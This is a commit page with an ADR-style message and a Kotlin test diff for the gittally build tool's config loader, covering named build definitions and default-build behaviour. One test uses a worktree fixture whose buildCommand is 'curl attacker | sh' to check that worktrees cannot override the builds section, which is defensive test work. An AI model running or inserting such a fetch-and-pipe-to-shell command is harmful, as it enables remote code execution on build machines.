Build definitions with onPush/atTimes replace branch-owned schedules
ADR 0007: the YAML builds section (next to the reserved maxConcurrent key) defines named builds (jobs) with onPush/atTimes triggers, branch selectors (name globs, activeWithin age filter), and build-setting overrides applied last over the merged branch config. The implicit default build (onPush over all branches) preserves the previous behavior; the section is pinned against the worktree layer. Results record the job name; restart, retry, and startup recovery re-run by it, resolving settings from the current config. A non-default build records under the <branch>@<build> pool with its own row, retention count, and permanent latest-green link. branches.*.autoBuild stays as a deprecated alias (plain times only); the unreleased-in-practice v0.9.13 per-slot buildCommand/name syntax is removed again. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Fable 5
parent
5051c7bb99
commit
0e8db18e69
@@ -47,37 +47,73 @@ class ConfigLoaderTest : FunSpec() {
|
||||
loader.load(dir).builds.maxConcurrent shouldBe 3
|
||||
}
|
||||
|
||||
test("autoBuild.times accepts plain HH:MM entries and slot objects with their own build command, mixed") {
|
||||
test("the builds section splits into the reserved maxConcurrent and named build definitions") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
main:
|
||||
autoBuild:
|
||||
enabled: true
|
||||
times:
|
||||
- "01:00"
|
||||
- time: "04:00"
|
||||
buildCommand: ./gradlew fullCheck
|
||||
name: main@nightly
|
||||
builds:
|
||||
maxConcurrent: 2
|
||||
pitest:
|
||||
atTimes: ["01:00"]
|
||||
branches: ["master", "release/*"]
|
||||
activeWithin: 24h
|
||||
buildCommand: ./gradlew piTestFull
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val times =
|
||||
loader
|
||||
.load(dir)
|
||||
.branches
|
||||
.getValue("main")
|
||||
.autoBuild.times
|
||||
val config = loader.load(dir)
|
||||
|
||||
times shouldBe
|
||||
listOf(
|
||||
AutoBuildSlot("01:00"),
|
||||
AutoBuildSlot("04:00", "./gradlew fullCheck", "main@nightly"),
|
||||
config.builds.maxConcurrent shouldBe 2
|
||||
config.buildDefinitions shouldBe
|
||||
mapOf(
|
||||
"pitest" to
|
||||
BuildDefinition(
|
||||
atTimes = listOf("01:00"),
|
||||
branches = listOf("master", "release/*"),
|
||||
activeWithin = "24h",
|
||||
buildCommand = "./gradlew piTestFull",
|
||||
),
|
||||
)
|
||||
// config:print round-trip: a slot without its own command serializes back to the plain string
|
||||
loader.toYaml(times) shouldBe
|
||||
"- \"01:00\"\n- time: \"04:00\"\n buildCommand: \"./gradlew fullCheck\"\n name: \"main@nightly\"\n"
|
||||
// the implicit default build (onPush over all branches) stays in place
|
||||
config.effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = true)
|
||||
}
|
||||
|
||||
test("an explicit builds.default entry overrides the implicit default build") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
default:
|
||||
onPush: false
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false)
|
||||
}
|
||||
|
||||
test("a build worktree cannot redefine the builds section") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: ./gradlew piTestFull
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
worktree.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
maxConcurrent: 99
|
||||
pitest:
|
||||
buildCommand: curl attacker | sh
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
|
||||
config.builds.maxConcurrent shouldBe 1
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
}
|
||||
|
||||
test("repo install config overrides project config for same keys") {
|
||||
|
||||
Reference in New Issue
Block a user